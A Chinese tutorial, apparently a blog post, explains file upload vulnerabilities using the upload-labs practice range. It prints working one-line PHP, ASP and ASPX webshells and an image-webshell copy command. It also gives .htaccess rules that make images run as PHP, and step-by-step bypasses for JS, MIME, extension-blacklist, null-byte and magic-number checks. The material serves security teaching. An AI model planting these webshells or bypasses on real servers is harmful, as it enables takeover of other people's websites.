文件上传靶场
文件上传简介
什么是文件上传
将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。
什么是文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器端脚本语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。
通常web站点会有用户注册功能,而当用户登录之后大多数情况下会存在类似头像上传、附件上传之类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,导致攻击者通过各种手段绕过验证,上传非法文件,这是在web渗透中非常关键的突破口。
文件上传产生漏洞的原因
- 服务器配置不当
- 文件上传限制被绕过
- 开源编辑器的上传漏洞
- 文件解析漏洞导致文件执行
- 过滤不严或被绕过
文件上传检测方式
一般一个文件上传过程中的检测方式有:
客户端JavaScript检测(检测文件扩展名)
服务端MIME类型检测(检测content-type内容)
服务端目录路径检测(检测跟path参数相关的内容)
服务端文件扩展名检测 (检测跟文件extension相关的内容)
服务端文件内容检测(检测内容是否合法是否含有恶意代码)
文件上传漏洞危害
攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站及服务器。 这个恶意的文件(php、asp、aspx、jsp等),又被称之为WebShell。
Webshell
常用的一句话木马
php一句话木马: <?php @eval($_POST[value]);?>
asp一句话木马: <%eval request("value")%>
aspx一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
制作图片马
copy 1.jpg/b+1.php/a 2.jpg
构造php一句话木马
保存为 shell.php
下载一个正常的jpg
除了jpg文件其他的,gif ,jpeg,等等都可以
cmd使用copy命令制作
copy 1.jpg/b+shell.php/a 2.jpg
Webshell原理
以PHP一句话木马为例
<?php
@eval($_POST['cmd']);
?>
php的代码要写在 <?php ?> 里面,服务器才能认出来这是php代码,然后才去解析。
@ 符号的意思是不报错,因为变量没有定义而被使用,服务器会提醒XXX变量未定义。
$_POST['cmd'];
php里面有几个超全局变量, $_GET、$_POST 就是其中之一,意思是用 post 的方法接收变量cmd传递来的字符。
eval()
把字符串作为PHP代码执行
system()
exec()
执行系统命令
文件上传绕过
绕过客户端检测(JS检测)
以 upload-labs 靶场第一关 chrome浏览器为例
关闭chrome 浏览器JS检测
在url地址栏输入:chrome://settings/content/javascript 添加需要关闭JS检测的网站
打开upload-labs第一关
点击上传文件,上传一个一句话木马文件,我这里是 shell.php的文件
右键上传的图片
右键上传图片-新标签页打开 获得上传的服务器路径
获取上传路径,使用HackerBar
upload/upload/shell.php 为上传路径,使用HackerBar 构造Body参数:cmd=phpinfo(); 看是否能执行PHP函数,能执行则一句话木马上传成功,接下来就可以使用蚁剑进行链接
蚁剑链接获取服务器权限
绕过服务端检测
服务端检测
服务端的代码通常检测三个点:MIME类型、文件内容、文件后缀
绕过MIME类型检测
常见MIME类型
- 超文本标记语言文本 .html text/html
- 普通文本 .txt text/plain
- PDF文档 .pdf application/pdf
- Microsoft Word文件 .word application/msword
- PNG图像 .png image/png
- GIF图形 .gif image/gif
- JPEG图形 .jpeg,.jpg image/jpeg
- au声音文件 .au audio/basic
- MPEG文件 .mpg,.mpeg video/mpeg
- AVI文件 .avi video/x-msvideo
- GZIP文件 .gz application/x-gzip
原理:检测图片类型文件上传过程中http包的 Content-Type 字段的值,来判断上传文件是否合法。
方法:用burpsuite截取并修改数据包中文件的 content-type 类型进行绕过。
例子
1、判断是前端检测还是后端检测,先上传一个php木马文件看是否可以js前端绕过,是不是存在任意文件上传漏洞,但是发现不可以上传php文件,但可以上传一些正常的文件格式去判断允许上传哪些文件格式的图片,这里不可以上传php木马文件,就可以判断它为服务端开启了MIME类型检测。
2、上传php木马文件,使用burp进行抓包,修改content-type的值为image/png,然后forward,进行上传,发现上传成功。
3、右键打开图片新标签页,获取上传路径,使用hackbar 执行php函数,phpinfo(),查看是否能执行,能执行说明可以使用mime类型绕过,这里发现能执行成功,并能获取信息
绕过文件后缀检测-黑名单
黑名单策略:
文件扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。
常见的绕过方法
1. 后缀大小写绕过:(.Php)
在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。
2. 空格绕过:(.php)
如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。
3. 点绕过:(.php.)
如果黑名单没有对后缀名进行去.处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的.,通过在文件名后加.进行绕过。
4. ::$DATA 绕过:
如果黑名单没有对后缀名进行去::$DATA处理,利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA,绕过对黑名单的检测。
5. 配合Apache解析漏洞:
Apache解析有一个特点,解析文件时是从右往左判断,如果为不可识别解析再往左判断,如
aa.php.owf.rar文件,Apache不可识别解析‘.owf’和‘.rar’这两种后缀,会解析成.php文件。
6. .htaccess 文件
配合名单列表绕过,上传一个自定义的.htaccess ,就可以轻松绕过各种检测
.htaccess 文件(或者"分布式配置文件"),全称是Hypertext Access (超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
比如新建一个.htaccess 文件:
<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>
通过一个.htaccess 文件调用php 的解析器去解析一个文件名中只要包含" png "这个字符串的任意文件,所以无论文件名是什么样子,只要包含"png"这个字符串,都可以被以 php 的方式来解析,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制。
例子
后缀大小写绕过:(.Php) upload-labs pass-5
上传一个一句话木马文件,使用大写P绕过 只针对Windows系统,Linux无法使用,因为Linux系统区分大小写,Windows系统不区分大小写
新标签页打开图片,获取上传路径
使用hackbar,验证是否能执行php函数,查询网站信息,能查询则上传成功
空格绕过:(.php )upload-labs pass-6
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段,添加空格,成功绕过
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sr3sWA3J-1669042085746)(https://files.catbox.moe/2hlgql.png)]
点绕过:(.php.) upload-labs pass-7
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段,添加点,成功绕过
::$DATA 绕过 upload-labs pass-8
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段,添加::$DATA,成功绕过
注意访问图片路径需要删除::$DATA
.htaccess 文件绕过 upload-labs Pass-4
创建一个.htaccess文件,让jpg文件以php文件解析,这里的jpg文件是图片马
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
先上传 .htaccess 然后上传jpg ,访问图片获取上传路径
双写绕过 upload-labs Pass-10
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段后缀名修改为pphphp,成功绕过
绕过文件后缀检测-白名单
白名单策略:文件扩展名不在白名单中为不合法。
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断。 php小于5.3.29
%00截断:
url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。
0x00截断:
系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。
绕过文件内容检测
一般通过检测文件内容来判断上传文件是否合法。
主要有两种检测方法:
- 通过检测上传文件内容开始处的文件幻数来判断。
通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。- 文件加载检测
一般是调用API或函数对文件进行加载测试。常见的是图像渲染测试,再严格点的甚至是进行二次渲染
文件幻数检测
主要是检测文件内容开始处的文件幻数
文件格式幻数(外语:magic number),它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
常见图片类型的文件幻数如下:
要绕过 jpg 文件幻数检测就要在文件开头写上下面的值:
Value = FF D8 FF E0 00 10 4A 46 49 46
要绕过 gif 文件幻数检测就要在文件开头写上下面的值:
Value = 47 49 46 38 39 61 可见字符:GIF89a
要绕过 png 文件幻数检测就要在文件开头写上下面的值:
Value = 89 50 4E 47
JPEG (jpg),文件头:`FFD8FF`
PNG (png),文件头:`89504E47`
GIF (gif),文件头:`47494638`
HTML (html),文件头:`68746D6C3E`
ZIP Archive (zip),文件头:`504B0304`
RAR Archive (rar),文件头:`52617221`
Adobe Acrobat (pdf),文件头:`255044462D312E`
MS Word/Excel (xls.or.doc),文件头:`D0CF11E0`
然后在文件幻数后面加上自己的一句话木马代码就行了。
例子
这边上传shell.php,修改filename为 shell.png content-type 字段为 image/png ,发现还是不能上传成功,可以判断它对文件内容做了检测
我们直接修改图片文件头 GIF89a ,发现可以上传成功
修改 filename 后缀为 .php 上传,上传成功